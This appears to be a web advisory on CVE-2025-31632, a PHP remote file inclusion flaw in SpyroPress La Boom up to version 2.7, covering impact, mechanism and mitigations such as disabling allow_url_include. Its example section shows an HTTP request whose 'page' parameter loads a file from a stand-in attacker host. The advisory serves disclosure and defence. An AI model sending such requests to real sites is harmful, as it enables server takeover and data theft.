Overview
The cybersecurity world is grappling with the discovery of a new critical vulnerability, CVE-2025-31632, which is associated with SpyroPress La Boom. The issue arises due to an improper control of filename for Include/Require Statement in PHP Program, known as the ‘PHP Remote File Inclusion’ vulnerability. This vulnerability affects any system or website using La Boom versions up to 2.7 and could lead to a severe system compromise or data leakage. The severity of this issue is highlighted by the CVSS severity score of 8.1, indicating that it is a high-risk issue that requires immediate attention and mitigation.
Vulnerability Summary
CVE ID: CVE-2025-31632
Severity: Critical, CVSS score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise, data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
SpyroPress La Boom | Up to 2.7
How the Exploit Works
The vulnerability exists due to an improper control of filename for include/require statement in the PHP program. This allows an attacker to include a file from a remote server that contains malicious PHP code, leading to remote file inclusion. Once this malicious file is included, it is executed on the server, potentially leading to unauthorized access or control over the system.
Conceptual Example Code
An attacker could exploit this issue with a HTTP request that includes the path to the malicious file on a remote server. For example:
GET /index.php?page=http://malicious.example.com/malicious_file.php HTTP/1.1
Host: vulnerable.example.comIn this request, the ‘page’ parameter is manipulated to include a file from a remote server (`malicious.example.com`). This file (`malicious_file.php`) contains malicious code which, when executed, can compromise the system.
Mitigation
Users are strongly advised to update their SpyroPress La Boom to the latest version. If this is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential exploits. It is also recommended to disable allow_url_fopen and allow_url_include settings in PHP configuration, if not required for the application. These settings allow PHP’s file functions — such as include, require, or file_get_contents — to retrieve data from remote locations, and disabling them reduces the risk of a remote file inclusion attack.